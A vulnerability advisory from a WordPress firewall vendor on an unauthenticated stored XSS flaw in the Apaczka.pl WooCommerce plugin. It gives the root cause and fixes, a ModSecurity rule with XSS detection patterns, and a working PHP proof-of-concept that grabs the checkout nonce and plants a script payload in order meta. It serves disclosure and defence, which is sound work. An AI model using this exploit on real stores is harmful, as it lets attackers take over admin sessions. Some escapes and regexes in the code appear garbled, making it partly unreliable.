Free WordPress WAF
Protect your site at the edge
Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.
Get Protected FreeAtomic Edge analysis of CVE-2026-129327 (metadata-based): This is an unauthenticated stored cross-site scripting vulnerability in the Apaczka.pl WooCommerce plugin for WordPress, affecting all versions up to and including 1.4.8. The flaw allows an attacker to inject arbitrary JavaScript into order post meta via the ‘_apaczka’ parameter during WooCommerce classic guest checkout. The injected script then executes in the browser of any user who views the compromised order page, such as an administrator. The CVSS score is 7.2 (High), with a vector of CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N.
Root Cause: The vulnerability stems from improper neutralization of input during web page generation (CWE-79). According to the CVE description, the plugin fails to adequately sanitize the ‘_apaczka[][error_messages]’ parameter and sibling subkeys within the ‘_apaczka’ array before storing them in order post meta and subsequently outputting them without proper escaping. Atomic Edge research infers that the plugin processes the ‘_apaczka’ data during the ‘save_post’ action, which WooCommerce triggers during classic guest checkout while the $_POST superglobal is still populated. This gives unauthenticated attackers a direct write path to order meta. The exact code location cannot be confirmed without a source diff, but the CWE and description strongly suggest missing sanitization on input and missing escaping on output.
Exploitation: An attacker can exploit this by submitting a crafted POST request to the WooCommerce checkout endpoint (typically ‘/checkout/’ or ‘/?wc-ajax=checkout’) with a parameter named ‘_apaczka’ structured as an array, e.g., ‘_apaczka[123][error_messages]=alert(1)’. The request must include a valid checkout nonce and any other required fields for guest checkout. The malicious payload is stored in the order’s post meta. When an administrator views the order details in the WordPress admin (e.g., via ‘/wp-admin/post.php?post=ORDER_ID&action=edit’), the script executes in the admin’s browser. This can lead to session hijacking, creation of rogue admin accounts, or other malicious actions.
Remediation: The fix in version 1.4.9 likely involves sanitizing the ‘_apaczka’ array inputs before saving them to post meta, using functions like ‘sanitize_text_field’ or ‘wp_kses’ to strip dangerous HTML. Additionally, the plugin should escape the output when rendering the error messages in the admin order page, using ‘esc_html’ or ‘wp_kses_post’. Proper capability checks and nonce verification on the save_post handler may also be required to prevent unauthorized meta updates.
Impact: Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the context of an authenticated administrator’s session. This can result in full site compromise, including the creation of new administrative accounts, injection of backdoors, redirection of site visitors, or theft of sensitive data. The stored nature of the XSS means the payload persists until the order is deleted or the meta is cleaned.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-129327 (metadata-based)
SecRule REQUEST_URI "@rx ^/(checkout|?wc-ajax=checkout)" "id:20261293,phase:2,deny,status:403,chain,msg:'CVE-2026-129327 via Apaczka WooCommerce guest checkout XSS',severity:'CRITICAL',tag:'CVE-2026-129327'"
SecRule ARGS_POST_NAMES "@rx ^_apaczka[" "chain"
SecRule ARGS_POST "@rx <script|onerror=|onload=|javascript:" "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-129327 - Apaczka.pl WooCommerce <= 1.4.8 - Unauthenticated Stored XSS via '_apaczka' Parameter via Guest Checkout
$target_url = 'http://example.com'; // Change to your target WordPress site URL
// Step 1: Fetch the checkout page to extract the WooCommerce nonce and any other required fields.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/checkout/');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
$response = curl_exec($ch);
curl_close($ch);
// Extract the woocommerce-process-checkout-nonce from the page.
$nonce = '';
if (preg_match('/woocommerce-process-checkout-nonce" value="([^"]+)"/', $response, $matches)) {
$nonce = $matches[1];
} else {
die("[-] Could not extract checkout nonce. Ensure WooCommerce checkout page is accessible and nonce field exists.n");
}
echo "[+] Extracted nonce: $noncen";
// Step 2: Prepare the malicious payload. The '_apaczka' parameter is an array with subkeys.
$payload = [
'woocommerce-process-checkout-nonce' => $nonce,
'_wp_http_referer' => '/checkout/',
// Minimal required fields for guest checkout (adjust as needed for your test environment).
'billing_first_name' => 'Test',
'billing_last_name' => 'User',
'billing_country' => 'US',
'billing_address_1' => '123 Test St',
'billing_city' => 'Testville',
'billing_state' => 'CA',
'billing_postcode' => '12345',
'billing_phone' => '555-555-5555',
'billing_email' => 'test@example.com',
'payment_method' => 'cod', // Cash on delivery, adjust if needed.
'terms' => 'on',
// The vulnerable parameter: _apaczka[<id>][error_messages]
'_apaczka' => [
'1' => [
'error_messages' => '<script>alert("XSS")</script>',
],
],
];
// Step 3: Send the POST request to the checkout endpoint.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/?wc-ajax=checkout');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
$response = curl_exec($ch);
curl_close($ch);
// Step 4: Check response for success (order placed).
if (strpos($response, '"result":"success"') !== false) {
echo "[+] Order placed successfully. Malicious payload stored in order meta.n";
echo "[+] The XSS will execute when an admin views the order in the dashboard.n";
} else {
echo "[-] Exploit may have failed. Response: $responsen";
}